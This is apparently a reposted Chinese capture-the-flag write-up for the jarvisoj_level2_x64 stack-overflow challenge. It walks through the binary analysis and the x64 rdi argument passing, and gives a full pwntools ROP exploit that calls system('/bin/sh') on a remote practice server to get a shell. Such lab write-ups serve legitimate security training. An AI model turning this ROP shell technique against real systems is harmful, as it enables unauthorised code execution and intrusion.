尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

PWN手的成长之路-15-jarvisoj_level2_x64

PWN手的成长之路-15-jarvisoj_level2_x64
📅 发布时间:2026/6/18 20:10:38

image

file:
image

checksec:
image

查看 main 函数:
image
main 函数调用了 vulnerable_fuction() 函数,并且存在 system() 函数,尝试查找是否存在 /bin/sh 字符串。

shift + F12 发现存在 /bin/sh 字符串。
image

查看vulnerable_fuction() 函数:
image
存在溢出点。

溢出大小为:0x80+8
image

因为64位与32位的程序调用有所不同,32 位的参数是直接通过栈来进行传递的,而64位的程序则是通过 rdi,rsi,rdx,rcx,r8,r9寄存器依次传递的,而多余的参数才会通过栈传递,所以我们在构造 exp 的时候,就需要多加一个 rdi 寄存器的地址。

开始编写exp:

from pwn import *
r=remote('node5.buuoj.cn',29041)
context.arch='amd64'
context.os='Linux'binsh_addr = 0x600A90
system_addr = 0x4004C0
pop_rdi_addr=0x4006B3    #ROPgadget --binary pwn | grep rdi得到的payload=cyclic(0x80+0x8) + p64(pop_rdi_addr) + p64(binsh_addr) + p64(system_addr)
r.sendline(payload)
r.interactive()

得到了 flag。
image

相关新闻

  • 价值博弈场的工程实现:构建数字文明的价值免疫系统——声明Ai生成
  • 2025年两联供室内机厂家最新权威推荐榜:技术实力与市场口碑
  • 2025铝合金微弧氧化厂家权威推荐榜:表面处理技术实力深度解

最新新闻

  • 2026年门店收银软件全指南:功能对比与选型策略详解 - 资讯纵览
  • 苏州宠物店推荐,想买猫狗的朋友可以看看 - 园友3800037
  • PPTX转HTML5:基于Node.js与SVG的Web演示文稿实现方案
  • 图像处理中的闭合轮廓技术:形态学闭运算原理与实践
  • AI学习者的操作系统:从信息过载到实战闭环
  • C++实现古典密码:单表替换与弗吉尼亚加密算法详解

日新闻

  • 2026年不锈钢卷板厂家推荐排行榜:冷轧热轧/304/201不锈钢卷板,高颜值耐腐蚀源头厂家实力精选 - 企业推荐官【官方】
  • FLUX.1-dev FP8模型实战指南:24GB以下显卡高效部署方案
  • 2026佛山长途搬家价目表:跨省跨市搬家费用完整计算指南 - 从来都是英雄出少年

周新闻

  • 3步解锁iOS设备:applera1n激活锁绕过完全指南
  • 39 2026 人工智能证书终极盘点,普通人选 AI 证书可以从这些方向入手
  • Redis 暴露公网有多危险?从端口检查到补救步骤

月新闻

  • 【总结】入门篇:50句话让你记住架构核心概念
  • WeChatMsg技术方案解析:实现Mac微信数据自主管理的完整解决方案
  • WeChatMsg:革新性微信数据备份方案,打造你的专属数字记忆库

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号